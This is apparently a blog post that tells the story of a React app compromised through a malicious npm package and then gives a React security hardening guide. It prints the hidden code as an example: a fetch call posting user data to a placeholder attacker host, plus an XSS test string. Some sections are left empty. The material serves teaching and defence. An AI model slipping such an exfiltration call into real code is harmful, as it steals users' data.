The Mystery of the Unwanted Popup: A React.js Supply Chain Attack Story

πŸ“Œ Scenario:
A React.js website in production suddenly started showing an unwanted popup, collecting user information without authorization. The team panickedβ€”was this a hack? A data breach?

πŸ” Initial Findings:

  1. Server Logs: Clean, no unauthorized access.
  2. Database: Untouched, no data leaks.
  3. Website Code: No injected malicious scripts.
  4. SSL: Intact, no MITM attacks.

Suspicion: A supply chain attackβ€”a compromised npm package!


πŸ•΅οΈβ€β™‚οΈ Investigation & Fixing the Issue

Step 1: Check Suspicious npm Packages

The team needed to find if any third-party React package was modified maliciously.

Commands Used:

# Check installed version of a package
npm list <packagename>  

# View all published versions & their release dates  
npm view <packagename> versions  

# Check the latest version  
npm view <packagename> version  

# Verify release timestamps (to detect sudden updates)  
npm view <packagename>@<version> time  

Finding:


Step 2: Locate the Malicious API Call

The popup was sending data to an unknown API endpoint.

Where It Hid:

fetch("https://malicious-api.example.com/log", {  
  method: "POST",  
  body: JSON.stringify(userData)  
});

Fix Applied:

  1. Removed the malicious package:
    npm uninstall react-popup-manager  
    
  2. Replaced it with a trusted version:
    npm install react-popup-manager@3.1.5 --save-exact  
    
  3. Audited all dependencies:
    npm audit  
    

Step 3: Secure the API Endpoints


πŸ”’ Preventing Future Attacks

βœ… Use --save-exact to lock versions.
βœ… Regularly run npm audit for vulnerabilities.
βœ… Monitor node_modules for unexpected changes.
βœ… Enable 2FA for npm publish.


πŸ“’ Key Takeaways

  1. Supply chain attacks are real! Always verify npm packages.
  2. Lock versions to avoid auto-updating to compromised code.
  3. Never trust third-party scripts blindlyβ€”audit them!

The Ultimate Guide to Securing React.js Applications

(A Step-by-Step Defense Against Supply Chain Attacks, XSS, Data Leaks & More)


πŸ” Why React Security Matters

React apps are vulnerable to:
βœ” Supply chain attacks (malicious npm packages)
βœ” XSS (Cross-Site Scripting)
βœ” CSRF (Cross-Site Request Forgery)
βœ” Insecure API endpoints
βœ” Environment variable leaks

Let’s lock it down!


πŸ›‘οΈ Step 1: Prevent Supply Chain Attacks

1. Use --save-exact & Lockfiles

npm install package@1.2.3 --save-exact  # Pins exact version

2. Audit Dependencies Regularly

npm audit           # Checks for vulnerabilities  
npm audit fix       # Automatically fixes some issues  
npx better-npm-audit  # More detailed analysis  

Pro Tip: Use Socket.dev to detect suspicious package behavior.

3. Whitelist Safe Packages

// package.json
"overrides": {
  "react-popup-manager": "3.1.5"  
}

πŸ›‘οΈ Step 2: Block XSS (Cross-Site Scripting)

1. Sanitize User Input

import DOMPurify from "dompurify";  

const userInput = "<script>alert('Hacked!')</script>";  
const cleanInput = DOMPurify.sanitize(userInput);  // Removes scripts  

Alternative: Use react-escape for dynamic content.

2. Use dangerouslySetInnerHTML Sparingly

<div dangerouslySetInnerHTML={{ __html: sanitizedHTML }} />  

⚠️ Never use it with unsanitized data!

3. Set Secure HTTP Headers

Add to nginx.conf or Netlify/vercel headers:

add_header X-XSS-Protection "1; mode=block";  
add_header Content-Security-Policy "default-src 'self'";  

πŸ›‘οΈ Step 3: Secure API Calls

1. Hide API Keys with Environment Variables

# .env  
REACT_APP_API_URL=https://real-api.example.com  
// ❌ BAD (visible in browser)  
const API_KEY = "12345";  

// βœ… GOOD (only in .env)  
fetch(`${process.env.REACT_APP_API_URL}/data`);  

2. Use CORS & CSRF Tokens

Backend (Node.js example):

app.use(cors({  
  origin: ["https://yourdomain.com"], // Whitelist  
  credentials: true  
}));  

Frontend:

// Include CSRF token in requests  
axios.defaults.headers.common["X-CSRF-Token"] = getCSRFToken();  

πŸ›‘οΈ Step 4: Harden Authentication

1. Use HttpOnly Cookies for JWT

// Backend (Express.js)  
res.cookie("token", jwt, {  
  httpOnly: true,  // Blocks JS access  
  secure: true,    // HTTPS only  
  sameSite: "strict"  
});  

2. Implement Rate Limiting

npm install express-rate-limit  
app.use(rateLimit({  
  windowMs: 15 * 60 * 1000, // 15 mins  
  max: 100 // Limit each IP to 100 requests  
}));  

πŸ›‘οΈ Step 5: Deployment Security

1. Disable Source Maps in Production

GENERATE_SOURCEMAP=false  # In .env.production  

Why? Prevents hackers from reverse-engineering your code.

2. Use Security Headers (Helmet.js)

npm install helmet  
app.use(helmet());  // Sets 11+ security headers automatically  

3. Monitor with Snyk or Dependabot


πŸ”’ Final Checklist

βœ… Lock npm versions (--save-exact + package-lock.json).
βœ… Sanitize all user inputs (DOMPurify).
βœ… Hide API keys (.env + server-side proxies).
βœ… Enable CORS/CSRF protection.
βœ… Use HttpOnly cookies for auth.
βœ… Deploy with security headers (Helmet.js).


πŸš€ Want More?

Stay safe, and happy coding! 😊